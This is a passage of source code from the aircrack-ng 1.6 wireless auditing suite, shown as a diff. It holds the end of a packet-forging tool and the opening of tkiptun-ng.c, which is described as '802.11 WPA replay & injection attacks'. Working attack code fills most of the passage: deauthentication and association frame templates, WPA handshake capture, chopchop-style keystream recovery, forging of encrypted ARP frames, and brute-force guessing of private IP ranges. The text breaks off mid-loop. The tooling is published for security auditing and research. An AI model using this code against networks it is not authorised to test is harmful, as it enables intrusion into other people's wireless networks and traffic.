+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, lopt.dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, lopt.smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'j':
+
+				lopt.fromds = 1;
+				break;
+
+			case 'o':
+
+				lopt.tods = 0;
+				break;
+
+			case 'e':
+
+				lopt.encrypt = 0;
+				break;
+
+			case 'r':
+
+				if (lopt.raw_file != NULL)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.raw_file = optarg;
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (read_prga_xor_ivs2(&(opt.prga), optarg) != 0)
+				{
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'w':
+
+				if (lopt.cap_out != NULL)
+				{
+					printf("Output file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.cap_out = optarg;
+
+				break;
+
+			case 'k':
+
+				if (getip(optarg, lopt.dip, &(lopt.dport)) != 0)
+				{
+					printf("Invalid destination IP address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'l':
+
+				if (getip(optarg, lopt.sip, &(lopt.sport)) != 0)
+				{
+					printf("Invalid source IP address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 's':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg < 26 || arg > 1520 || ret != 1)
+				{
+					printf("Invalid packet size. [26-1520]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.size = arg;
+				break;
+
+			case '0':
+
+				if (lopt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.mode = 0;
+
+				break;
+
+			case '1':
+
+				if (lopt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.mode = 1;
+				break;
+
+			case '2':
+
+				if (lopt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.mode = 2;
+				break;
+
+			case '3':
+
+				if (lopt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.mode = 3;
+				break;
+
+			case '9':
+
+				if (lopt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.mode = 9;
+				break;
+
+			case 'H':
+
+				print_usage();
+				return (EXIT_FAILURE);
+
+			default:
+				break;
+		}
+	}
+
+	if (argc == 1)
+	{
+		print_usage();
+		printf("Please specify a mode.\n");
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.raw_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(lopt.raw_file, "rb")))
+		{
+			perror("open failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					lopt.raw_file);
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	for (n = 0; n < lopt.num_packets; n++)
+	{
+		switch (lopt.mode)
+		{
+			case 0:
+				if (forge_arp() != 0)
+				{
+					printf("Error building an ARP packet.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+			case 1:
+				if (forge_udp() != 0)
+				{
+					printf("Error building an UDP packet.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+			case 2:
+				if (forge_icmp() != 0)
+				{
+					printf("Error building an ICMP packet.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 3:
+				if (forge_null() != 0)
+				{
+					printf("Error building a NULL packet.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 9:
+				if (forge_custom() != 0)
+				{
+					printf("Error building a custom packet.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+			default:
+				print_usage();
+				printf("Please specify a mode.\n");
+				return (EXIT_FAILURE);
+		}
+
+		if (lopt.encrypt)
+		{
+			if (my_create_wep_packet(h80211, &(lopt.pktlen)) != 0)
+				return (EXIT_FAILURE);
+		}
+		else
+		{
+			/* set WEP bit = 0 */
+			h80211[1] = h80211[1] & 0xBF;
+		}
+
+		if (write_cap_packet(h80211, lopt.pktlen) != 0)
+		{
+			printf("Error writing pcap file %s.\n", lopt.cap_out);
+			return (EXIT_FAILURE);
+		}
+	}
+
+	printf("Wrote packet%s to: %s\n",
+		   (lopt.num_packets > 1 ? "s" : ""),
+		   lopt.cap_out);
+
+	if (lopt.ivs2) fclose(lopt.ivs2);
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/tkiptun-ng Added

aircrack-ng-1.6.tar.gz/src/tkiptun-ng/tkiptun-ng.c Added

@@ -0,0 +1,3060 @@
+/*
+ *  802.11 WPA replay & injection attacks
+ *
+ *  Copyright (C) 2008, 2009 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  WEP decryption attack (chopchop) developed by KoreK
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(linux)
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+
+#include <fcntl.h>
+#include <ctype.h>
+
+#include <limits.h>
+
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/third-party/eapol.h"
+#include "aircrack-ng/tui/console.h"
+
+#define RTC_RESOLUTION 8192
+
+#define REQUESTS 30
+#define MAX_APS 20
+
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define RATE_NUM 12
+
+#define RATE_1M 1000000
+#define RATE_2M 2000000
+#define RATE_5_5M 5500000
+#define RATE_11M 11000000
+
+#define RATE_6M 6000000
+#define RATE_9M 9000000
+#define RATE_12M 12000000
+#define RATE_18M 18000000
+#define RATE_24M 24000000
+#define RATE_36M 36000000
+#define RATE_48M 48000000
+#define RATE_54M 54000000
+
+#define DEFAULT_MIC_FAILURE_INTERVAL 60
+
+static const char usage[] =
+
+	"\n"
+	"  %s - (C) 2008-2020 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: tkiptun-ng <options> <replay interface>\n"
+	"\n"
+	"  Filter options:\n"
+	"\n"
+	"      -d dmac   : MAC address, Destination\n"
+	"      -s smac   : MAC address, Source\n"
+	"      -m len    : minimum packet length (default: 80) \n"
+	"      -n len    : maximum packet length (default: 80)\n"
+	"      -t tods   : frame control, To      DS bit\n"
+	"      -f fromds : frame control, From    DS bit\n"
+	"      -D        : disable AP detection\n"
+	"      -Z        : select packets manually\n"
+	"\n"
+	"  Replay options:\n"
+	"\n"
+	"      -x nbpps  : number of packets per second\n"
+	"      -a bssid  : set Access Point MAC address\n"
+	"      -c dmac   : set Destination  MAC address\n"
+	"      -h smac   : set Source       MAC address\n"
+	"      -e essid  : set target AP SSID\n"
+	"      -M sec    : MIC error timeout in seconds [60]\n"
+	"\n"
+	"  Debug options:\n"
+	"\n"
+	"      -K prga   : keystream for continuation\n"
+	"      -y file   : keystream-file for continuation\n"
+	"      -j        : inject FromDS packets\n"
+	"      -P pmk    : pmk for verification/vuln testing\n"
+	"      -p psk    : psk to calculate pmk with essid\n"
+	"\n"
+	"  source options:\n"
+	"\n"
+	"      -i iface  : capture packets from this interface\n"
+	"      -r file   : extract packets from this pcap file\n"
+	"\n"
+	"      --help    : Displays this usage screen\n"
+	"\n";
+
+struct communication_options opt;
+static struct local_options
+{
+	unsigned char f_bssid[6];
+	unsigned char f_dmac[6];
+	unsigned char f_smac[6];
+	int f_minlen;
+	int f_maxlen;
+	int f_minlen_set;
+	int f_maxlen_set;
+	int f_type;
+	int f_subtype;
+	int f_tods;
+	int f_fromds;
+	int f_iswep;
+
+	FILE * f_ivs; /* output ivs file      */
+
+	int r_nbpps;
+	int r_fctrl;
+	unsigned char r_bssid[6];
+	unsigned char r_dmac[6];
+	unsigned char r_smac[6];
+	unsigned char r_apmac[6];
+	unsigned char r_dip[4];
+	unsigned char r_sip[4];
+	char r_essid[33];
+	int r_fromdsinj;
+	char r_smac_set;
+
+	char ip_out[16]; // 16 for 15 chars + \x00
+	char ip_in[16];
+	int port_out;
+	int port_in;
+
+	char * iface_out;
+	char * s_face;
+	char * s_file;
+	unsigned char * prga;
+
+	int a_mode;
+	int a_count;
+	int a_delay;
+
+	int ringbuffer;
+	int ghost;
+	int prgalen;
+
+	int delay;
+	int npackets;
+
+	int fast;
+	int bittest;
+
+	int nodetect;
+
+	unsigned char oldkeystream[4096]; /* user-defined old keystream */
+	int oldkeystreamlen; /* user-defined old keystream length */
+	char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */
+	char psk[128]; /* shared passphrase among the clients */
+	unsigned char pmk[128]; /* pmk derived from the essid and psk */
+	unsigned char
+		ptk[80]; /* ptk calculated from all pieces captured in the handshake */
+	unsigned char ip_cli[4];
+	unsigned char ip_ap[4];
+	int got_ptk;
+	int got_pmk;
+	int got_psk;
+	int got_mic_fromds;
+	int got_mic_tods;
+	int got_ip_ap;
+	int got_ip_client;
+
+	struct WPA_hdsk wpa; /* valid WPA handshake data     */
+	struct WPA_ST_info wpa_sta; /* used to calculate the pmk */
+	time_t wpa_time; /* time when the wpa handshake arrived */
+
+	unsigned char *
+		chopped_from_plain; /* chopped plaintext packet from the AP */
+	unsigned char * chopped_to_plain; /* chopped plaintext packet to the AP */
+	unsigned char * chopped_from_prga; /* chopped keystream from the AP */
+	unsigned char * chopped_to_prga; /* chopped keystream to the AP */
+	int chopped_from_plain_len;
+	int chopped_to_plain_len;
+	int chopped_from_prga_len;
+	int chopped_to_prga_len;
+
+	struct timeval last_mic_failure; /* timestamp of last mic failure */
+	int mic_failure_interval; /* time between allowed mic failures */
+} lopt;
+
+// unused, but needed for link
+struct devices dev;
+struct wif *_wi_in, *_wi_out;
+
+struct ARP_req
+{
+	unsigned char * buf;
+	int hdrlen;
+	int len;
+};
+
+struct APt
+{
+	unsigned char set;
+	unsigned char found;
+	unsigned char len;
+	unsigned char essid[255];
+	unsigned char bssid[6];
+	unsigned char chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
+};
+
+unsigned long nb_pkt_sent;
+unsigned char h80211[4096];
+static unsigned char srcbuf[4096];
+static char strbuf[512];
+static int alarmed;
+
+static int check_received(unsigned char * packet, unsigned length)
+{
+	REQUIRE(packet != NULL);
+
+	unsigned z;
+	unsigned char bssid[6], smac[6], dmac[6];
+	struct ivs2_pkthdr ivs2;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return (0);
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80) z += 2;
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (memcmp(bssid, opt.f_bssid, 6) != 0)
+	{
+		return (0);
+	}
+	else
+	{
+		if (memcmp(dmac, lopt.wpa.stmac, 6) != 0
+			&& memcmp(smac, lopt.wpa.stmac, 6) != 0)
+			return (0);
+	}
+
+	if (z + 26 > length) return (0);
+
+	if (!(packet[1] & 0x40)) // not encrypted
+	{
+		z += 6; // skip LLC header
+
+		/* check ethertype == EAPOL */
+		if (packet[z] == 0x88 && packet[z + 1] == 0x8E
+			&& (packet[1] & 0x40) != 0x40)
+		{
+			if (lopt.wpa.state != 7 || time(NULL) - lopt.wpa_time > 1)
+			{
+				z += 2; // skip ethertype
+
+				/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+					&& (packet[z + 6] & 0x80) != 0
+					&& (packet[z + 5] & 0x01) == 0)
+				{
+					memcpy(lopt.wpa.anonce, &packet[z + 17], 32);
+					lopt.wpa.state = 1;
+				}
+
+				/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1
+				 */
+
+				if (z + 17 + 32 > length) return (0);
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+					&& (packet[z + 6] & 0x80) == 0
+					&& (packet[z + 5] & 0x01) != 0)
+				{
+					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+					{
+						memcpy(lopt.wpa.snonce, &packet[z + 17], 32);
+						lopt.wpa.state |= 2;
+					}
+
+					if ((lopt.wpa.state & 4) != 4)
+					{
+						lopt.wpa.eapol_size
+							= (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+						if (lopt.wpa.eapol_size > sizeof(lopt.wpa.eapol)
+							|| length - z < lopt.wpa.eapol_size)
+						{
+							// ignore packet trying to crash us
+							lopt.wpa.eapol_size = 0;
+							return (0);
+						}
+
+						memcpy(lopt.wpa.keymic, &packet[z + 81], 16);
+						memcpy(lopt.wpa.eapol, &packet[z], lopt.wpa.eapol_size);
+						memset(lopt.wpa.eapol + 81, 0, 16);
+						lopt.wpa.state |= 4;
+						lopt.wpa.keyver = packet[z + 6] & 7;
+					}
+				}
+
+				/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
+					&& (packet[z + 6] & 0x80) != 0
+					&& (packet[z + 5] & 0x01) != 0)
+				{
+					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+					{
+						memcpy(lopt.wpa.anonce, &packet[z + 17], 32);
+						lopt.wpa.state |= 1;
+					}
+
+					if ((lopt.wpa.state & 4) != 4)
+					{
+						lopt.wpa.eapol_size
+							= (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+						if (lopt.wpa.eapol_size > sizeof(lopt.wpa.eapol)
+							|| length - z < lopt.wpa.eapol_size)
+						{
+							// ignore packet trying to crash us
+							lopt.wpa.eapol_size = 0;
+							return (0);
+						}
+
+						memcpy(lopt.wpa.keymic, &packet[z + 81], 16);
+						memcpy(lopt.wpa.eapol, &packet[z], lopt.wpa.eapol_size);
+						memset(lopt.wpa.eapol + 81, 0, 16);
+						lopt.wpa.state |= 4;
+						lopt.wpa.keyver = packet[z + 6] & 7;
+					}
+				}
+
+				if (lopt.wpa.state == 7)
+				{
+					memcpy(lopt.wpa.stmac, opt.r_smac, 6);
+					PCT;
+					printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X "
+						   "captured\n",
+						   opt.r_bssid[0],
+						   opt.r_bssid[1],
+						   opt.r_bssid[2],
+						   opt.r_bssid[3],
+						   opt.r_bssid[4],
+						   opt.r_bssid[5]);
+
+					lopt.wpa_time = time(NULL);
+
+					if (lopt.f_ivs != NULL)
+					{
+						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+						ivs2.flags = 0;
+						ivs2.len = 0;
+
+						ivs2.flags |= IVS2_WPA;
+
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+
+						if (fwrite(&ivs2,
+								   1,
+								   sizeof(struct ivs2_pkthdr),
+								   lopt.f_ivs)
+							!= (size_t) sizeof(struct ivs2_pkthdr))
+						{
+							perror("fwrite(IV header) failed");
+							return (1);
+						}
+
+						if (fwrite(opt.r_bssid, 1, 6, lopt.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+						ivs2.len -= 6;
+
+						if (fwrite(&(lopt.wpa),
+								   1,
+								   sizeof(struct WPA_hdsk),
+								   lopt.f_ivs)
+							!= (size_t) sizeof(struct WPA_hdsk))
+						{
+							perror("fwrite(IV wpa_hdsk) failed");
+							return (1);
+						}
+					}
+				}
+			}
+		}
+	}
+
+	return (0);
+}
+
+static void my_read_sleep_cb(void)
+{
+	int caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+	check_received(h80211, caplen);
+}
+
+static int build_arp_request(unsigned char * packet, int * length, int toDS)
+{
+	REQUIRE(packet != NULL);
+
+	int i;
+	unsigned char buf[128];
+
+	packet[0] = 0x88; // QoS Data
+	if (toDS)
+		packet[1] = 0x41; // encrypted to/fromDS
+	else
+		packet[1] = 0x42;
+	packet[2] = 0x2c;
+	packet[3] = 0x00;
+	if (toDS)
+	{
+		memcpy(packet + 4, opt.f_bssid, 6);
+		memcpy(packet + 10, opt.r_smac, 6);
+		memcpy(packet + 16, lopt.r_apmac, 6);
+	}
+	else
+	{
+		memcpy(packet + 4, opt.r_smac, 6);
+		memcpy(packet + 10, opt.f_bssid, 6);
+		memcpy(packet + 16, lopt.r_apmac, 6);
+	}
+
+	packet[22] = 0xD0; // fragment 0
+	packet[23] = 0xB4;
+	if (toDS)
+		packet[24] = 0x01; // priority 1
+	else
+		packet[24] = 0x02; // priority 2
+	packet[25] = 0x00;
+
+	if (toDS)
+		set_clear_arp(packet + 26, opt.r_smac, BROADCAST);
+	else
+		set_clear_arp(packet + 26, lopt.r_apmac, BROADCAST);
+
+	if (toDS)
+		memcpy(packet + 26 + 22, lopt.ip_cli, 4);
+	else
+		memcpy(packet + 26 + 22, lopt.ip_ap, 4);
+
+	memcpy(packet + 26 + 26, BROADCAST, 6);
+
+	if (toDS)
+		memcpy(packet + 26 + 32, lopt.ip_ap, 4);
+	else
+		memcpy(packet + 26 + 32, lopt.ip_cli, 4);
+
+	INVARIANT(*length < (INT_MAX - 26 - 36 - 1));
+	*length = 26 + 36;
+
+	calc_tkip_mic(packet, *length, lopt.ptk, packet + (*length));
+
+	INVARIANT(*length < (INT_MAX - 8 - 1));
+	*length += 8;
+
+	memcpy(buf, packet + 26, (*length) - 26);
+	memcpy(packet + 26 + 8, buf, (*length) - 26);
+
+	if (toDS)
+		memcpy(packet + 26,
+			   lopt.chopped_to_prga,
+			   8); // set IV&extIV for a toDS frame
+	else
+		memcpy(packet + 26,
+			   lopt.chopped_from_prga,
+			   8); // set IV&extIV for a fromDS frame
+
+	INVARIANT(*length < (INT_MAX - 8 - 1));
+	(*length) += 8;
+
+	add_icv(packet, *length, 26 + 8);
+
+	(*length) += 4;
+
+	if (toDS)
+	{
+		if (lopt.chopped_to_prga_len - 8 < *length - 26 - 8) return (1);
+
+		for (i = 0; i < *length - 26 - 8; i++)
+			packet[26 + 8 + i] ^= lopt.chopped_to_prga[8 + i];
+	}
+	else
+	{
+		if (lopt.chopped_from_prga_len - 8 < *length - 26 - 8) return (1);
+
+		INVARIANT(*length < (INT_MAX - 26 - 8 - 1));
+
+		for (i = 0; i < *length - 26 - 8; i++)
+			packet[26 + 8 + i] ^= lopt.chopped_from_prga[8 + i];
+	}
+
+	return (0);
+}
+
+static int check_guess(unsigned char * srcbuf,
+					   unsigned char * chopped,
+					   int caplen,
+					   int clearlen,
+					   unsigned char * arp,
+					   unsigned char * dmac)
+{
+	REQUIRE(srcbuf != NULL);
+	REQUIRE(chopped != NULL);
+	REQUIRE(arp != NULL);
+
+	int i, j, z, pos;
+
+	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
+	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	pos = caplen - z - 8 - clearlen;
+	for (i = 0; i < clearlen; i++)
+	{
+		arp[pos + i] = srcbuf[z + 8 + pos + i] ^ chopped[z + 8 + pos + i];
+	}
+	for (j = 1; j < 3; j++)
+	{
+		arp[15] = j;
+
+		memcpy(arp + 26, ZERO, 6); //-V512
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return (1);
+		}
+
+		memcpy(arp + 26, BROADCAST, 6);
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return (1);
+		}
+
+		memcpy(arp + 26, dmac, 6);
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return (1);
+		}
+	}
+
+	return (0);
+}
+
+static int guess_packet(unsigned char * srcbuf,
+						unsigned char * chopped,
+						int caplen,
+						int clearlen)
+{
+	REQUIRE(srcbuf != NULL);
+	REQUIRE(chopped != NULL);
+
+	int i, j, k, l, z, len;
+	unsigned char smac[6], dmac[6], bssid[6];
+
+	unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
+	unsigned char arp[4096];
+
+	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
+	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	if (caplen - z - 8 - clearlen > 36) // too many unknown bytes
+		return (1);
+
+	printf("%i bytes still unknown\n", caplen - z - 8 - clearlen);
+
+	switch (srcbuf[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, srcbuf + 16, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, srcbuf + 4, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 16, 6);
+			break;
+		default:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 24, 6);
+			break;
+	}
+
+	ptr = arp;
+	psmac = arp + 16;
+	pdmac = arp + 26;
+	psip = arp + 22;
+	pdip = arp + 32;
+
+	len = sizeof(S_LLC_SNAP_ARP) - 1;
+	memcpy(ptr, S_LLC_SNAP_ARP, len);
+	ptr += len;
+
+	/* arp hdr */
+	len = 6;
+	memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+	ptr += len;
+
+	/* type of arp */
+	len = 2;
+	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		memcpy(ptr, "\x00\x01", len);
+	else
+		memcpy(ptr, "\x00\x02", len);
+	ptr += len;
+
+	/* src mac */
+	len = 6;
+	memcpy(ptr, smac, len);
+	ptr += len;
+
+	/* dmac */
+	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
+	{
+		printf("ARP Reply\n");
+		memcpy(pdmac, dmac, 6);
+	}
+	else
+	{
+		printf("ARP Request\n");
+		memcpy(pdmac, ZERO, 6); //-V512
+	}
+
+	if (caplen - z - 8 - clearlen == 36)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 192;
+					psip[1] = 168;
+					psip[2] = i;
+					psip[3] = j;
+
+					pdip[0] = 192;
+					pdip[1] = 168;
+					pdip[2] = i;
+					pdip[3] = k;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		printf("Checking 10.0.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (j = 0; j < 256; j++)
+		{
+			for (k = 1; k < 255; k++)
+			{
+				for (l = 1; l < 255; l++)
+				{
+					psip[0] = 10;
+					psip[1] = 0;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = 0;
+					pdip[2] = j;
+					pdip[3] = l;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		printf("Checking 172.16.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (j = 1; j < 255; j++)
+		{
+			for (k = 1; k < 255; k++)
+			{
+				for (l = 1; l < 255; l++)
+				{
+					psip[0] = 172;
+					psip[1] = 16;
+					psip[2] = j;
+					psip[3] = k;
+
